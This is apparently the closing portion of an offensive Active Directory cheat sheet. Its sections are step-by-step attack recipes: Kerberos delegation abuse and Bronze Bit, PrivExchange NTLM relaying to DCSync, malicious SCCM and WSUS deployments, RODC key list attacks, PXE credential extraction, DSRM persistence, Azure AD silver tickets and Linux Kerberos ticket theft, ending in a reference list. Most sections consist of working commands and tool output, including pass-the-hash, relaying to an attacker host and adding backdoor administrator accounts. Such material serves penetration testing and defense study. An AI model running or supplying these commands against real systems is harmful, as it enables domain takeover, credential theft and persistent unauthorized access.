[*] Input username             : swktest$
[*] Input domain               : factory.lan
[*] Salt                       : FACTORY.LANswktest
[*]       rc4_hmac             : F8E064CA98539B735600714A1F1907DD
[*]       aes128_cts_hmac_sha1 : D45DEADECB703CFE3774F2AA20DB9498
[*]       aes256_cts_hmac_sha1 :
0129D24B2793DD66BAF3E979500D8B313444B4D3004DE676FA6AFEAC1AC5C347
[*]       des_cbc_md5          : BA297CFD07E62A5E
```

6. Impersonate domain admin using our newly created machine account

```
.\Rubeus.exe s4u /user:swktest$ /rc4:F8E064CA98539B735600714A1F1907DD
/impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt
/altservice:cifs,http,host,rpcss,wsman,ldap
.\Rubeus.exe s4u /user:swktest$
/aes256:0129D24B2793DD66BAF3E979500D8B313444B4D3004DE676FA6AFEAC1AC5C347
/impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt
/altservice:cifs,http,host,rpcss,wsman,ldap

[*] Impersonating user 'Administrator' to target SPN 'cifs/dc01-ww2.factory.lan'
[*] Using domain controller: DC01-WW2.factory.lan (172.16.42.5)
[*] Building S4U2proxy request for service: 'cifs/dc01-ww2.factory.lan'
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/dc01-ww2.factory.lan':


doIGXDCCBligAwIBBaEDAgEWooIFXDCCBVhhggVUMIIFUKADAgEFoQ0bC0ZBQ1RPUlkuTEFOoicwJaAD
    AgECoR4wHBsEY2lmcxsUZGMwMS[...]PMIIFC6ADAgESoQMCAQOiggT9BIIE
    LmZhY3RvcnkubGFu

[*] Action: Import Ticket
[+] Ticket successfully imported!
```

Kerberos Bronze Bit Attack - CVE-2020-17049

> An attacker can impersonate users which are not allowed to be delegated. This includes members of the **Protected Users** group and any other users explicitly configured as **sensitive and cannot be delegated**.

> Patch is out on November 10, 2020, DC are most likely vulnerable until February 2021.

:warning: Patched Error Message : ☐ Kerberos SessionError: KRB_AP_ERR_MODIFIED(Message stream modified)

Requirements:

- Service account's password hash
- Service account's with `Constrained Delegation` or `Resource Based Constrained Delegation`
- Impacket PR #1013

Attack #1 - Bypass the `Trust this user for delegation to specified services only – Use Kerberos only` protection and impersonate a user who is protected from delegation.

```
# forwardable flag is only protected by the ticket encryption which uses the service
account's password
$ getST.py -spn cifs/Service2.test.local -impersonate Administrator -hashes <LM:NTLM
hash> -aesKey <AES hash> test.local/Service1 -force-forwardable -dc-ip <Domain
controller> # -> Forwardable

$ getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes
aad3b435b51404eeaad3b435b51404ee:7c1673f58e7794c77dead3174b58b68f -aesKey
4ffe0c458ef7196e4991229b0e1c4a11129282afb117b02dc2f38f0312fc84b4 test.local/Service1
-force-forwardable

# Load the ticket
.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit

# Access "c$"
ls \\service2.test.local\c$
```

Attack #2 - Write Permissions to one or more objects in the AD

```
# Create a new machine account
Import-Module .\Powermad\powermad.ps1
New-MachineAccount -MachineAccount AttackerService -Password $(ConvertTo-SecureString
'AttackerServicePassword' -AsPlainText -Force)
.\mimikatz\mimikatz.exe "kerberos::hash /password:AttackerServicePassword
/user:AttackerService /domain:test.local" exit

# Set PrincipalsAllowedToDelegateToAccount
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADComputer AttackerService
Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$
Get-ADComputer Service2 -Properties PrincipalsAllowedToDelegateToAccount

# Execute the attack
python .\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2
-hashes 830f8df592f48bc036ac79a2bb8036c5:830f8df592f48bc036ac79a2bb8036c5 -aesKey
2a62271bdc6226c1106c1ed8dcb554cbf46fb99dda304c472569218c125d9ffc
test.local/AttackerService -force-forwardableet-ADComputer Service2 -
PrincipalsAllowedToDelegateToAccount AttackerService$

# Load the ticket
.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit | Out-Null
```

PrivExchange attack

Exchange your privileges for Domain Admin privs by abusing Exchange.
:warning: You need a shell on a user account with a mailbox.

1. Exchange server hostname or IP address

```
pth-net rpc group members "Exchange Servers" -I dc01.domain.local -U
domain/username
```

2. Relay of the Exchange server authentication and privilege escalation (using ntlmrelayx from Impacket).

```
ntlmrelayx.py -t ldap://dc01.domain.local --escalate-user username
```

3. Subscription to the push notification feature (using privexchange.py or powerPriv), uses the credentials of the current user to authenticate to the Exchange server. Forcing the Exchange server's to send back its NTLMv2 hash to a controlled machine.

```
# https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py
python privexchange.py -ah xxxxxxx -u xxxx -d xxxxx
python privexchange.py -ah 10.0.0.2 mail01.domain.local -d domain.local -u
user_exchange -p pass_exchange

# https://github.com/G0ldenGunSec/PowerPriv
powerPriv -targetHost corpExch01 -attackerHost 192.168.1.17 -Version 2016
```

4. Profit using secretdumps from Impacket, the user can now perform a dcsync and get another user's NTLM hash

```
python secretsdump.py xxxxxxxxxx -just-dc
python secretsdump.py lab/buff@192.168.0.2 -ntds ntds -history -just-dc-ntlm
```

5. Clean your mess and restore a previous state of the user's ACL

```
python aclpwn.py --restore ../aclpwn-20190319-125741.restore
```

Alternatively you can use the Metasploit module

`use auxiliary/scanner/http/exchange_web_server_pushsubscription`

Alternatively you can use an all-in-one tool : Exchange2domain.

```
git clone github.com/Ridter/Exchange2domain
python Exchange2domain.py -ah attackterip -ap listenport -u user -p password -d
domain.com -th DCip MailServerip
python Exchange2domain.py -ah attackterip -u user -p password -d domain.com -th DCip
--just-dc-user krbtgt MailServerip
```

SCCM Deployment

> SCCM is a solution from Microsoft to enhance administration in a scalable way across an organisation.

- PowerSCCM - PowerShell module to interact with SCCM deployments
- MalSCCM - Abuse local or remote SCCM servers to deploy malicious applications to hosts they manage
- Compromise client, use locate to find management server

```
MalSCCM.exe locate
```

- Enumerate over WMI as an administrator of the Distribution Point

```
MalSCCM.exe inspect /server:<DistributionPoint Server FQDN> /groups
```

- Compromise management server, use locate to find primary server
- use Inspect on primary server to view who you can target

```
MalSCCM.exe inspect /all
MalSCCM.exe inspect /computers
MalSCCM.exe inspect /primaryusers
MalSCCM.exe inspect /groups
```

- Create a new device group for the machines you want to laterally move too

```
MalSCCM.exe group /create /groupname:TargetGroup /grouptype:device
MalSCCM.exe inspect /groups
```

- Add your targets into the new group

```
MalSCCM.exe group /addhost /groupname:TargetGroup /host:WIN2016-SQL
```

- Create an application pointing to a malicious EXE on a world readable share : `SCCMContentLib$`

```
MalSCCM.exe app /create /name:demoapp /uncpath:"\\BLORE-
SCCM\SCCMContentLib$\localthread.exe"
MalSCCM.exe inspect /applications
```

- Deploy the application to the target group

```
MalSCCM.exe app /deploy /name:demoapp /groupname:TargetGroup
/assignmentname:demodeployment
MalSCCM.exe inspect /deployments
```

- Force the target group to checkin for updates

```
MalSCCM.exe checkin /groupname:TargetGroup
```

- Cleanup the application, deployment and group

```
MalSCCM.exe app /cleanup /name:demoapp
MalSCCM.exe group /delete /groupname:TargetGroup
```

WSUS Deployment

> Windows Server Update Services (WSUS) enables information technology administrators to deploy the latest Microsoft product updates. You can use WSUS to fully manage the distribution of updates that are released through Microsoft Update to computers on your network

:warning: The payload must be a Microsoft signed binary and must point to a location on disk for the WSUS server to load that binary.

- SharpWSUS

1. Locate using `HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate` or `SharpWSUS.exe locate`
2. After WSUS Server compromise: `SharpWSUS.exe inspect`
3. Create a malicious patch: `SharpWSUS.exe create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user WSUSDemo Password123! /add && net localgroup administrators WSUSDemo /add\"" /title:"WSUSDemo"`
4. Deploy it on the target: `SharpWSUS.exe approve /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local /groupname:"Demo Group"`
5. Check status deployment: `SharpWSUS.exe check /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local`
6. Clean up: `SharpWSUS.exe delete /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local /groupname:”Demo Group`

RODC - Read Only Domain Controller Compromise

> If the user is included in the **Allowed RODC Password Replication**, their credentials are stored in the server, and the **msDS-RevealedList** attribute of the RODC is populated with the username.

Requirements:

- Impacket PR #1210 - The Kerberos Key List Attack
- **krbtgt** credentials of the RODC (-rodcKey)
- **ID of the krbtgt** account of the RODC (-rodcNo)

Exploitation:

```
# keylistattack.py using SAMR user enumeration without filtering (-full flag)
keylistattack.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey
```

```
XXXXXXXXXXXXXXXXXXXX -full

# keylistattack.py defining a target username (-t flag)
keylistattack.py -kdc sever.domain.local -t user -rodcNo XXXXX -rodcKey
XXXXXXXXXXXXXXXXXXXX LIST

# secretsdump.py using the Kerberos Key List Attack option (-use-keylist)
secretsdump.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX
-use-keylist
```

PXE Boot image attack

PXE allows a workstation to boot from the network by retrieving an operating system image from a server using TFTP (Trivial FTP) protocol. This boot over the network allows an attacker to fetch the image and interact with it.

- Press **[F8]** during the PXE boot to spawn an administrator console on the deployed machine.
- Press **[SHIFT+F10]** during the initial Windows setup process to bring up a system console, then add a local administrator or dump SAM/SYSTEM registry.

  ```
  net user hacker Password123! /add
  net localgroup administrators /add hacker
  ```

- Extract the pre-boot image (wim files) using PowerPXE.ps1 (https://github.com/wavestone-cdt/powerpxe) and dig through it to find default passwords and domain accounts.

  ```
  # Import the module
  PS > Import-Module .\PowerPXE.ps1

  # Start the exploit on the Ethernet interface
  PS > Get-PXEcreds -InterfaceAlias Ethernet
  PS > Get-PXECreds -InterfaceAlias « lab 0 »

  # Wait for the DHCP to get an address
  >> Get a valid IP address
  >>> >>> DHCP proposal IP address: 192.168.22.101
  >>> >>> DHCP Validation: DHCPACK
  >>> >>> IP address configured: 192.168.22.101

  # Extract BCD path from the DHCP response
  >> Request BCD File path
  >>> >>> BCD File path:  \Tmp\x86x64{5AF4E332-C90A-4015-9BA2-F8A7C9FF04E6}.bcd
  >>> >>> TFTP IP Address:  192.168.22.3

  # Download the BCD file and extract wim files
  >> Launch TFTP download
  >>>> Transfer succeeded.
  >> Parse the BCD file: conf.bcd
  >>>> Identify wim file : \Boot\x86\Images\LiteTouchPE_x86.wim
  >>>> Identify wim file : \Boot\x64\Images\LiteTouchPE_x64.wim
  >> Launch TFTP download
  >>>> Transfer succeeded.

  # Parse wim files to find interesting data
  ```

```
>> Open LiteTouchPE_x86.wim
>>>> Finding Bootstrap.ini
>>>> >>>> DeployRoot = \\LAB-MDT\DeploymentShare$
>>>> >>>> UserID = MdtService
>>>> >>>> UserPassword = Somepass1
```

DNS Reconnaissance

Perform ADIDNS searches

```
StandIn.exe --dns --limit 20
StandIn.exe --dns --filter SQL --limit 10
StandIn.exe --dns --forest --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --dns --legacy --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
```

DSRM Credentials

> Directory Services Restore Mode (DSRM) is a safe mode boot option for Windows Server domain controllers. DSRM allows an administrator to repair or recover to repair or restore an Active Directory database.

This is the local administrator account inside each DC. Having admin privileges in this machine, you can use mimikatz to dump the local Administrator hash. Then, modifying a registry to activate this password so you can remotely access to this local Administrator user.

```
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'

# Check if the key exists and get the value
Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name
DsrmAdminLogonBehavior

# Create key with value "2" if it doesn't exist
New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name
DsrmAdminLogonBehavior -value 2 -PropertyType DWORD

# Change value to "2"
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name
DsrmAdminLogonBehavior -value 2
```

Impersonating Office 365 Users on Azure AD Connect

Prerequisites:

- Obtain NTLM password hash of the AZUREADSSOACC account

  ```
  mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
  ```

- AAD logon name of the user we want to impersonate (userPrincipalName or mail)

  ```
  elrond@contoso.com
  ```

- SID of the user we want to impersonate

  ```
  S-1-5-21-2121516926-2695913149-3163778339-1234
  ```

Create the Silver Ticket and inject it into Kerberos cache:

```
mimikatz.exe "kerberos::golden /user:elrond
/sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234
/domain:contoso.local /rc4:f9969e088b2c13d93833d0ce436c76dd
/target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit
```

Launch Mozilla Firefox, go to about:config

```
network.negotiate-auth.trusted-
uris="https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com".
```

Navigate to any web application that is integrated with our AAD domain. Once at the Office365 logon screen, fill in the user name, while leaving the password field empty. Then press TAB or ENTER.

Linux Active Directory

CCACHE ticket reuse from /tmp

> When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in /tmp and scoped with 600 permissions

List the current ticket used for authentication with `env | grep KRB5CCNAME`. The format is portable and the ticket can be reused by setting the environment variable with `export KRB5CCNAME=/tmp/ticket.ccache`. Kerberos ticket name format is `krb5cc_%{uid}` where uid is the user UID.

```
$ ls /tmp/ | grep krb5cc
krb5cc_1000
krb5cc_1569901113
krb5cc_1569901115

$ export KRB5CCNAME=/tmp/krb5cc_1569901115
```

CCACHE ticket reuse from keyring

Tool to extract Kerberos tickets from Linux kernel keys : https://github.com/TarlogicSecurity/tickey

```
# Configuration and build
git clone https://github.com/TarlogicSecurity/tickey
cd tickey/tickey
make CONF=Release
```

```
[root@Lab-LSV01 /]# /tmp/tickey -i
[*] krb5 ccache_name = KEYRING:session:sess_%{uid}
[+] root detected, so... DUMP ALL THE TICKETS!!
[*] Trying to inject in tarlogic[1000] session...
[+] Successful injection at process 25723 of tarlogic[1000],look for tickets in
/tmp/__krb_1000.ccache
[*] Trying to inject in velociraptor[1120601115] session...
[+] Successful injection at process 25794 of velociraptor[1120601115],look for
tickets in /tmp/__krb_1120601115.ccache
[*] Trying to inject in trex[1120601113] session...
[+] Successful injection at process 25820 of trex[1120601113],look for tickets in
/tmp/__krb_1120601113.ccache
[X] [uid:0] Error retrieving tickets
```

CCACHE ticket reuse from SSSD KCM

SSSD maintains a copy of the database at the path `/var/lib/sss/secrets/secrets.ldb`. The corresponding key is stored as a hidden file at the path `/var/lib/sss/secrets/.secrets.mkey`. By default, the key is only readable if you have **root** permissions.

Invoking `SSSDKCMExtractor` with the --database and --key parameters will parse the database and decrypt the secrets.

```
git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
```

The credential cache Kerberos blob can be converted into a usable Kerberos CCache file that can be passed to Mimikatz/Rubeus.

CCACHE ticket reuse from keytab

```
git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
klist -k /etc/krb5.keytab
```

Extract accounts from /etc/krb5.keytab

The service keys used by services that run as root are usually stored in the keytab file /etc/krb5.keytab. This service key is the equivalent of the service's password, and must be kept secure.

Use `klist` to read the keytab file and parse its content. The key that you see when the key type is 23 is the actual NT Hash of the user.

```
$ klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab
[...]
[26] Service principal: host/COMPUTER@DOMAIN
     KVNO: 25
     Key type: 23
     Key: 31d6cfe0d16ae931b73c59d7e0c089c0
     Time stamp: Oct 07,  2019 09:12:02
[...]
```

On Linux you can use `KeyTabExtract`: we want RC4 HMAC hash to reuse the NLTM hash.

```
$ python3 keytabextract.py krb5.keytab
[!] No RC4-HMAC located. Unable to extract NTLM hashes. # No luck
[+] Keytab File successfully imported.
        REALM : DOMAIN
        SERVICE PRINCIPAL : host/computer.domain
        NTLM HASH : 31d6cfe0d16ae931b73c59d7e0c089c0 # Lucky
```

On macOS you can use `bifrost`.

```
./bifrost -action dump -source keytab -path test
```

Connect to the machine using the account and the hash with CME.

```
$ crackmapexec 10.XXX.XXX.XXX -u 'COMPUTER$' -H "31d6cfe0d16ae931b73c59d7e0c089c0" -d
"DOMAIN"
CME          10.XXX.XXX.XXX:445 HOSTNAME-01   [+] DOMAIN\COMPUTER$
31d6cfe0d16ae931b73c59d7e0c089c0
```

References

- Explain like I’m 5: Kerberos - Apr 2, 2013 - @roguelynn
- Impersonating Office 365 Users With Mimikatz - January 15, 2017 - Michael Grafnetter
- Abusing Exchange: One API call away from Domain Admin - Dirk-jan Mollema
- Abusing Kerberos: Kerberoasting - Haboob Team
- Abusing S4U2Self: Another Sneaky Active Directory Persistence - Alsid
- Attacks Against Windows PXE Boot Images - February 13th, 2018 - Thomas Elling
- BUILDING AND ATTACKING AN ACTIVE DIRECTORY LAB WITH POWERSHELL - @myexploit2600 & @5ub34x
- Becoming Darth Sidious: Creating a Windows Domain (Active Directory) and hacking it - @chryzsh
- BlueHat IL - Benjamin Delpy
- COMPROMISSION DES POSTES DE TRAVAIL GRÂCE À LAPS ET PXE MISC n° 103 - mai 2019 - Rémi Escourrou, Cyprien Oger
- Chump2Trump - AD Privesc talk at WAHCKon 2017 - @l0ss
- DiskShadow The return of VSS Evasion Persistence and AD DB extraction
- Domain Penetration Testing: Using BloodHound, Crackmapexec, & Mimikatz to get Domain Admin
- Dumping Domain Password Hashes - Pentestlab
- Exploiting MS14-068 with PyKEK and Kali - 14 DEC 2014 - ZACH GRACE @ztgrace
- Exploiting PrivExchange - April 11, 2019 - @chryzsh
- Exploiting Unconstrained Delegation - Riccardo Ancarani - 28 APRIL 2019
- Finding Passwords in SYSVOL & Exploiting Group Policy Preferences
- How Attackers Use Kerberos Silver Tickets to Exploit Systems - Sean Metcalf
- Fun with LDAP, Kerberos (and MSRPC) in AD Environments
- Getting the goods with CrackMapExec: Part 1, by byt3bl33d3r
- Getting the goods with CrackMapExec: Part 2, by byt3bl33d3r
- Golden ticket - Pentestlab

- How To Pass the Ticket Through SSH Tunnels - bluescreenofjeff
- Hunting in Active Directory: Unconstrained Delegation & Forests Trusts - Roberto Rodriguez - Nov 28, 2018
- Invoke-Kerberoast - Powersploit Read the docs
- Kerberoasting - Part 1 - Mubix “Rob” Fuller
- Passing the hash with native RDP client (mstsc.exe)
- Pen Testing Active Directory Environments - Part I: Introduction to crackmapexec (and PowerView)
- Pen Testing Active Directory Environments - Part II: Getting Stuff Done With PowerView
- Pen Testing Active Directory Environments - Part III: Chasing Power Users
- Pen Testing Active Directory Environments - Part IV: Graph Fun
- Pen Testing Active Directory Environments - Part V: Admins and Graphs
- Pen Testing Active Directory Environments - Part VI: The Final Case
- Penetration Testing Active Directory, Part I - March 5, 2019 - Hausec
- Penetration Testing Active Directory, Part II - March 12, 2019 - Hausec
- Post-OSCP Series Part 2 - Kerberoasting - 16 APRIL 2019 - Jon Hickman
- Quick Guide to Installing Bloodhound in Kali-Rolling - James Smith
- Red Teaming Made Easy with Exchange Privilege Escalation and PowerPriv - Thursday, January 31, 2019 - Dave
- Roasting AS-REPs - January 17, 2017 - harmj0y
- Top Five Ways I Got Domain Admin on Your Internal Network before Lunch (2018 Edition) - Adam Toscher
- Using bloodhound to map the user network - Hausec
- WHAT’S SPECIAL ABOUT THE BUILTIN ADMINISTRATOR ACCOUNT? - 21/05/2012 - MORGAN SIMONSEN
- WONKACHALL AKERVA NDH2018 – WRITE UP PART 1
- WONKACHALL AKERVA NDH2018 – WRITE UP PART 2
- WONKACHALL AKERVA NDH2018 – WRITE UP PART 3
- WONKACHALL AKERVA NDH2018 – WRITE UP PART 4
- WONKACHALL AKERVA NDH2018 – WRITE UP PART 5
- Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory - 28 January 2019 - Elad Shami
- [PrivExchange] From user to domain admin in less than 60sec ! - davy
- Pass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicy - March 16, 2017 - harmj0y
- Kerberos (II): How to attack Kerberos? - June 4, 2019 - ELOY PÉREZ
- Attacking Read-Only Domain Controllers (RODCs) to Own Active Directory - Sean Metcalf
- All you need to know about Keytab files - Pierre Audonnet [MSFT] - January 3, 2018
- Taming the Beast Assess Kerberos-Protected Networks - Emmanuel Bouillon
- Playing with Relayed Credentials - June 27, 2018
- Exploiting CVE-2019-1040 - Combining relay vulnerabilities for RCE and Domain Admin - Dirk-jan Mollema
- Drop the MIC - CVE-2019-1040 - Marina Simakov - Jun 11, 2019
- How to build a SQL Server Virtual Lab with AutomatedLab in Hyper-V - October 30, 2017 - Craig Porteous
- SMB Share – SCF File Attacks - December 13, 2017 - @netbiosX
- Escalating privileges with ACLs in Active Directory - April 26, 2018 - Rindert Kramer and Dirk-jan Mollema
- A Red Teamer’s Guide to GPOs and OUs - APRIL 2, 2018 - @_wald0
- Carlos Garcia - Rooted2019 - Pentesting Active Directory Forests public.pdf
- Kerberosity Killed the Domain: An Offensive Kerberos Overview - Ryan Hausknecht - Mar 10
- Active-Directory-Exploitation-Cheat-Sheet - @buftas
- GPO Abuse - Part 1 - RastaMouse - 6 January 2019
- GPO Abuse - Part 2 - RastaMouse - 13 January 2019
- Abusing GPO Permissions - harmj0y - March 17, 2016
- How To Attack Kerberos 101 - m0chan - July 31, 2019
- ACE to RCE - @JustinPerdok - July 24, 2020
- Zerologon:Unauthenticated domain controller compromise by subverting Netlogon cryptography (CVE-2020-1472) - Tom Tervoort, September 2020

- Access Control Entries (ACEs) - The Hacker Recipes - @_nwodtuhs
- CVE-2020-17049: Kerberos Bronze Bit Attack – Practical Exploitation - Jake Karnes - December 8th, 2020
- CVE-2020-17049: Kerberos Bronze Bit Attack – Theory - Jake Karnes - December 8th, 2020
- Kerberos Bronze Bit Attack (CVE-2020-17049) Scenarios to Potentially Compromise Active Directory
- GPO Abuse: "You can't see me" - Huy Kha - July 19, 2019
- Lateral movement via dcom: round 2 - enigma0x3 - January 23, 2017
- New lateral movement techniques abuse DCOM technology - Philip Tsukerman - Jan 25, 2018
- Kerberos Tickets on Linux Red Teams - April 01, 2020 | by Trevor Haskell
- AD CS relay attack - practical guide - 23 Jun 2021 - @exandroiddev
- Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover - Elad Shamir - Jun 17
- Playing with PrintNightmare - 0xdf - Jul 8, 2021
- Attacking Active Directory: 0 to 0.9 - Eloy Pérez González - 2021/05/29
- Microsoft ADCS – Abusing PKI in Active Directory Environment - Jean MARSAULT - 14/06/2021
- Certified Pre-Owned - Will Schroeder and Lee Christensen - June 17, 2021
- NTLM relaying to AD CS - On certificates, printers and a little hippo - Dirk-jan Mollema
- Certified Pre-Owned Abusing Active Directory Certificate Services - @harmj0y @tifkin_
- Certified Pre-Owned - Will Schroeder - Jun 17 2021
- AD CS/PKI template exploit via PetitPotam and NTLMRelayx, from 0 to DomainAdmin in 4 steps by frank | Jul 23, 2021
- NTLMv1_Downgrade.md - S3cur3Th1sSh1t - 09/07/2021
- UnPAC the hash - The Hacker Recipes
- Lateral Movement – WebClient
- Shadow Credentials: Workstation Takeover Edition - Matthew Creel
- Certificate templates - The Hacker Recipes
- CA configuration - The Hacker Recipes
- Access controls - The Hacker Recipes
- Web endpoints - The Hacker Recipes
- sAMAccountName spoofing - The Hacker Recipes
- CVE-2021-42287/CVE-2021-42278 Weaponisation - @exploitph
- ADCS: Playing with ESC4 - Matthew Creel
- The Kerberos Key List Attack: The return of the Read Only Domain Controllers - Leandro Cuozzo
- AD CS: weaponizing the ESC7 attack - Kurosh Dabbagh - 26 January, 2022
- AD CS: from ManageCA to RCE - 11 February, 2022 - Pablo Martínez, Kurosh Dabbagh
- Introducing the Golden GMSA Attack - YUVAL GORDON - March 01, 2022
- Introducing MalSCCM - Phil Keeble -May 4, 2022
- Certifried: Active Directory Domain Privilege Escalation (CVE-2022–26923) - Oliver Lyak
- bloodyAD and CVE-2022-26923 - soka - 11 May 2022